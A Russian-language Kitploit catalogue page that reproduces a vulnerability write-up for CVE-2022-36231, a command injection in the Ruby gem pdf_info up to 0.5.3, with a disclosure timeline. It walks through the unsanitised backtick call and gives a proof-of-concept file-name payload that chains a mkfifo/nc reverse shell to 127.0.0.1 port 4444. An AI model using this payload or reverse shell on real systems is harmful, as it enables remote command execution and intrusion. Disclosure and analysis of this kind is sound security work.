Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-36231 — OS Command Injection в pdf_info <= 0.5.3 | Kitploit
Инструменты/GitHubGitHub/affix/cve-2022-36231
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеРазработка Полезной Нагрузки
GitHubaffix/cve-2022-36231

CVE-2022-36231

OS Command Injection в pdf_info <= 0.5.3

Репозиторий
5343 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-36231

Ruby gem pdf_info <= 0.5.3 уязвим для внедрения команд ОС при выполнении метода над объектом PDF::Info.

Злоумышленник, используя специально сформированную нагрузку, может выполнять команды ОС с помощью объединения команд (command chaining).

Анализ уязвимости

При создании нового объекта PDF::Info вызывается метод initialize:

def initialize(pdf_path)
  @pdf_path = pdf_path
end

Во время инициализации объекта проверка не выполняется, и используется предоставленный пользователем путь.

Мы можем создать объект PDF::Info и получить метаданные PDF с помощью следующего кода:

#!/usr/bin/env ruby

require 'pdf/info'

info = PDF::Info.new("./pdf/sample1.pdf")
pp info.metadata

Когда мы вызываем метод metadata на объекте PDF::Info, происходит вызов метода process_output с аргументом, которым является метод command.

Метод command использует переменную класса @pdf_info для выполнения команды pdfinfo в системе с помощью следующего фрагмента кода, чтобы вернуть вывод команды:

output = `#{self.class.command_path} -enc UTF-8 -f 1 -l -1 "#{@pdf_path}" 2> /dev/null`

Как и в методе initialize, для переменной @pdf_path не выполняется проверка. Это позволяет нам использовать объединение команд с помощью ; для выполнения произвольной команды:

info = PDF::Info.new('pdf/sample1.pdf; $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444>/tmp/f)')

pp info.metadata

Приведенный выше фрагмент кода выполнит reverse shell на 127.0.0.1 порт 4444.

Shell

Детали раскрытия

  • 2022-07-20 :: Сообщено поставщику
  • 2022-08-30 :: Повторный контакт с поставщиком
  • 2022-09-30 :: Заявка на CVE
  • 2022-10-26 :: Публикация уязвимости
Скачать инструмент